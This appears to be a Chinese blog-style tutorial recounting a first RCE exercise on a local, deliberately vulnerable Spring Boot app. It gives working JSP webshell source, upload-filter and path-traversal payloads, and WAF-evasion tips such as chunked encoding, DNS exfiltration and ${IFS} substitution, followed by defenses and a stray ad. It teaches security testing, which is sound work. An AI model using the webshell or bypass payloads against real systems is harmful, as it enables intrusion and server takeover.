1. RCE漏洞初探:第一周实战记录
刚接触安全测试时,RCE(远程代码执行)就像一把双刃剑,既能验证系统最危险的漏洞,也最容易捅出大娄子。记得第一次真正在测试环境触发RCE时,那种既兴奋又紧张的感觉至今难忘——兴奋的是终于亲手验证了这个"漏洞之王",紧张的是生怕一个误操作就把整个测试环境搞崩。下面我就用新手也能看懂的方式,复盘下这个值得纪念的"第一周RCE"实战经历。
RCE之所以被称为高危漏洞,是因为它允许攻击者在目标服务器上直接执行任意命令。想象一下,如果黑客能通过网页输入框让服务器执行"rm -rf /",后果有多可怕?我这次测试的是一个Java Web应用,使用经典的Spring框架开发,漏洞触发点竟是一个看似无害的文件上传功能。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞环境搭建与初步侦查
2.1 测试环境配置
工欲善其事,必先利其器。我的测试环境包括:
- 虚拟机运行的Ubuntu 20.04(受害者服务器)
- 故意留有漏洞的Spring Boot 2.3.0应用
- Burp Suite Community用于拦截和修改请求
- 简单的Bash脚本作为攻击载荷
重要提示:所有测试必须在隔离的本地环境进行,切勿在未授权的情况下测试任何线上系统
首先用nmap扫描目标应用开放端口,发现8080端口运行着Tomcat服务。访问首页是个简单的文件上传界面,表单只允许上传.jpg/.png文件。但经验告诉我,前端验证永远不可信——右键查看源码果然发现只有简单的JavaScript验证。
2.2 绕过文件类型限制
尝试直接上传.jsp文件被拒绝后,我用了三个步骤绕过限制:
- 用Burp拦截上传请求
- 修改Content-Type为image/jpeg
- 将文件名改为"shell.jpg.jsp"
服务器竟然接受了这个"图片"!这说明后端没有做二次验证。上传成功后文件存储在/uploads目录,但直接访问返回404错误——原来Tomcat默认不执行该目录下的JSP。
3. 漏洞利用与突破
3.1 路径遍历漏洞发现
通过查看应用日志,发现上传文件的实际存储路径包含时间戳:
code复制/opt/app/upload/20230715/shell.jpg.jsp
尝试在文件名注入路径遍历payload:
code复制../../../webapps/ROOT/shell.jsp
这次上传后,成功在ROOT目录下找到了我的JSP马!访问http://localhost:8080/shell.jsp竟然返回了200状态码。
3.2 制作JSP Webshell
最简单的JSP反向shell代码如下:
jsp复制<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
%>
上传这个webshell后,通过URL参数就能执行任意命令:
code复制http://localhost:8080/shell.jsp?cmd=whoami
返回了"root"——天啊,我拿到了系统最高权限!
4. 漏洞原理深度分析
4.1 漏洞链的形成
这个案例展示了典型的漏洞链:
- 前端验证可绕过(基础弱点)
- 无后端文件类型校验(致命失误)
- 存储路径可控(路径遍历)
- 上传目录可执行(配置错误)
- 默认root权限运行(权限问题)
任何一环做好防护都能阻断攻击,但开发人员往往低估了攻击者的创造力。
4.2 Spring框架的特殊性
在Spring环境中,还有更隐蔽的RCE方式:
- 通过SpEL表达式注入
- 反序列化漏洞
- 不安全的反射调用
比如经典的CVE-2017-4971漏洞,就是通过Spring Web Flow的表达式注入实现RCE。相比我演示的文件上传方式,这类漏洞往往更难以发现和防护。
5. 防御方案与最佳实践
5.1 多层防御策略
针对我演示的攻击方式,有效的防御措施包括:
| 攻击阶段 | 防御措施 | 实施示例 |
|---|---|---|
| 文件上传 | 白名单验证 | 使用Apache Tika检测真实文件类型 |
| 存储阶段 | 随机重命名 | UUID + 后缀名存储 |
| 路径安全 | 规范化处理 | Path.normalize()处理用户输入 |
| 执行权限 | 容器加固 | 配置Tomcat的allowLinking=false |
5.2 运维层面的加固
即使应用层防护被突破,系统层还能设置最后防线:
- 使用非root用户运行Tomcat
- 配置SELinux策略
- 定期清理上传目录
- 设置文件系统不可执行标志
6. 新手常见误区与避坑指南
6.1 测试时的典型错误
在我的第一次尝试中,踩过这些坑:
- 没备份虚拟机就执行rm -rf测试,导致环境崩溃
- 使用明文的base64编码payload,被WAF拦截
- 忘记关闭防火墙,反弹shell失败
- 在错误路径寻找上传文件,浪费两小时
6.2 实用技巧分享
经过多次实践,总结出这些实用技巧:
- 使用分块编码绕过WAF检查
- 对于无回显的RCE,可以用DNS外带数据
- 遇到字符过滤时,尝试${IFS}替代空格
- 总在攻击前用touch/test命令先验证路径
记得第一次成功弹出计算器时,我在本子上写了句:"永远不要相信用户输入"。现在每次看到那个笔记,都会想起那个充满咖啡和漏洞的疯狂第一周。安全测试就像拆炸弹,既需要胆大心细,又要对系统怀有敬畏之心。
